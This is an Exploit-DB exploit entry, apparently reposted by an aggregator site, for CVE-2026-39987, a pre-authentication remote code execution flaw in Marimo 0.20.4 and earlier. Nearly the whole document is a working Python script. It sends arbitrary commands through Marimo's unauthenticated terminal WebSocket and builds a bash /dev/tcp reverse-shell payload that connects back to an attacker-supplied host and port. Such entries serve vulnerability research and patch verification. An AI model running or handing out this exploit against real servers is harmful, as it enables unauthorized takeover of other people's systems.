[webapps] Marimo 0.20.4 - RCE
Title: Marimo 0.20.4 - RCE Date: August 2nd, 20 2026-9-2 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:3 收藏

Title: Marimo  0.20.4 - RCE 
Date: August 2nd, 2026
Exploit Author: Jason Bernier
Vendor Homepage: https://marimo.io/
Software Link: https://github.com/marimo-team/marimo
Version: <=0.20.4
Tested on: Ubuntu 24.04
CVE: CVE-2026-39987
Advisory:
https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc

"""
Exploit script for CVE-2026-39987, a pre-authentication Remote Code Execution (RCE) vulnerability in Marimo.
The exploit leverages a WebSocket endpoint to execute arbitrary commands on the target system.
Based on the advisory located at https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
This exploit will either execute a reverse shell or any command specified with the -c argument.
https://github.com/jasonbernier/
"""

import websocket
import argparse
import time
import sys
import urllib.parse
import ssl
import socket
import threading
import subprocess
from typing import Optional

# Global variables for reverse shell
LHOST: Optional[str] = None
LPORT: Optional[int] = None
shell_socket: Optional[socket.socket] = None
conn: Optional[socket.socket] = None

def send_reverse_command(command: str) -> str:
    """Send command to target and receive output"""
    try:
        if not conn:
            print("[-] No active connection")
            return ""
            
        conn.sendall(command.encode() + b"\n")
        time.sleep(1)
        
        output = b""
        while True:
            try:
                data = conn.recv(4096)
                if not data:
                    break
                output += data
            except socket.timeout:
                break
        
        return output.decode('utf-8', errors='ignore')
    except Exception as e:
        print(f"[-] Error sending command: {str(e)}")
        return ""

def exploit(target_url: str, command: str = None) -> None:
    """
    Exploit CVE-2026-39987 to execute commands via WebSocket terminal.
    
    Args:
        target_url: Target URL (e.g., http://localhost:2718)
        command: Command to execute (default: id && whoami && hostname)
    """
    # Normalize URL
    if not target_url.startswith(('http://', 'https://')):
        target_url = f"http://{target_url}"
    
    parsed = urllib.parse.urlparse(target_url)
    if parsed.scheme not in ['http', 'https']:
        print(f"[-] Invalid scheme: {parsed.scheme}")
        sys.exit(1)
    
    # Determine protocol based on port
    if parsed.port == 443 or parsed.scheme == 'https':
        ws_scheme = 'wss'
    else:
        ws_scheme = 'ws'
    
    # Build WebSocket URL
    ws_path = parsed.path.rstrip('/')
    if ws_path.endswith('/terminal/ws'):
        ws_path = ws_path.replace('/terminal/ws', '/terminal/ws')
    elif '/terminal/ws' not in ws_path:
        ws_path = f"{ws_path}/terminal/ws"
    
    ws_url = f"{ws_scheme}://{parsed.netloc}{ws_path}"
    
    try:
        print(f"[+] Connecting to {ws_url}...")
        # Disable SSL verification for self-signed certs
        ws = websocket.create_connection(ws_url, sslopt={"cert_reqs": ssl.CERT_NONE})
        
        # Wait for initial output to drain
        try:
            while True:
                ws.settimeout(1)
                ws.recv()
        except:
            pass
        
        # Execute command
        if command:
            print(f"[+] Executing reverse shell!")
            ws.send(command + "\n")
            time.sleep(2)
            
            # Get output
            output = ""
            try:
                while True:
                    ws.settimeout(1)
                    chunk = ws.recv()
                    output += chunk
            except:
                pass
            
            print(f"[+] Check your netcat listener on port {LPORT}!")
            
        
        ws.close()
        
    except Exception as e:
        print(f"[-] Error: {str(e)}")
        sys.exit(1)


def main():
    """Parse arguments and execute exploit."""
    parser = argparse.ArgumentParser(
        description='CVE-2026-39987 Exploit for Marimo Pre-Auth RCE',
        
    )
    parser.add_argument(
        '-u', '--url', required=True,
        help='Target URL (e.g., http://localhost:2718)'
    )
    parser.add_argument(
        '-c', '--command',
        help='	Command to execute (default: id && whoami && hostname)'
    )
    parser.add_argument(
        '--lhost',
        help='Local host for reverse shell (requires --lport)'
    )
    parser.add_argument(
        '--lport', type=int,
        help='Local port for reverse shell (requires --lhost)'
    )
    
    args = parser.parse_args()
    
    # Validate arguments
    if (args.lhost and not args.lport) or (args.lport and not args.lhost):
        print("[-] Both --lhost and --lport must be provided together")
        sys.exit(1)
    
    # Set up reverse shell if specified
    if args.lhost and args.lport:
        global LHOST, LPORT
        LHOST = args.lhost
        LPORT = args.lport
        
        # Generate reverse shell payload
        payload = (
            f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1 &' && id"
        )
        
        # Send payload directly
        exploit(args.url, payload)
       
    else:
        # Default command if none specified
        default_cmd = "id && whoami && hostname"
        cmd = args.command or default_cmd
        exploit(args.url, cmd)


if __name__ == "__main__":
    main()
            

文章来源: https://www.exploit-db.com/exploits/52673
如有侵权请联系:admin#unsafe.sh